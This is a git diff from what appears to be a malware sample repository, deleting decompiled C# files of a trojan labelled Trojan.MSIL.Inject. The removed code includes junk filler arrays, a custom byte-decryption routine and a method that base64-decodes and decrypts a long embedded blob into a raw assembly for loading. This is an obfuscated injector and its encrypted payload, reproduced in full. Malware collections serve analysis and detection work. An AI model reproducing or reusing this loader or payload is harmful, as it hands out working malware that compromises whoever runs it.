a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/jdawdiawhiwhfifaw.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/jdawdiawhiwhfifaw.cs deleted file mode 100644 index 3968a0e6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/jdawdiawhiwhfifaw.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: jdawdiawhiwhfifaw -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class jdawdiawhiwhfifaw -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static void baeahhawwahahw() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static byte[] ÉËÊ(byte[] ÌÏÏ) - { - byte[] numArray = new byte[checked (ÌÏÏ.Length - 4 + 1)]; - int num1 = (int) ÌÏÏ[0]; - int num2 = checked (ÌÏÏ.Length - 1); - int index = 3; - while (index <= num2) - { - if (num1 == (int) ÌÏÏ[1] | num1 > (int) ÌÏÏ[1]) - num1 = (int) ÌÏÏ[0]; - int num3 = checked ((int) ÌÏÏ[index] - num1); - if (num3 < 0) - checked { num3 += 256; } - if (num3 > (int) byte.MaxValue) - checked { num3 -= 256; } - numArray[checked (index - 3)] = checked ((byte) num3); - checked { num1 += 1 + (int) ÌÏÏ[2]; } - checked { ++index; } - } - return numArray; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/justsomeshit.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/justsomeshit.cs deleted file mode 100644 index d1f515b6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/justsomeshit.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: justsomeshit -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Reflection; - -[StandardModule] -internal sealed class justsomeshit -{ - public static object doit() - { - byte[] rawAssembly = sakiajfwefjwa.ÈÈÉ(jdawdiawhiwhfifaw.ÉËÊ(Convert.FromBase64String(Conversions.ToString(new ArrayList() - { - (object) "fAkwofwaFAWKaw", - (object) "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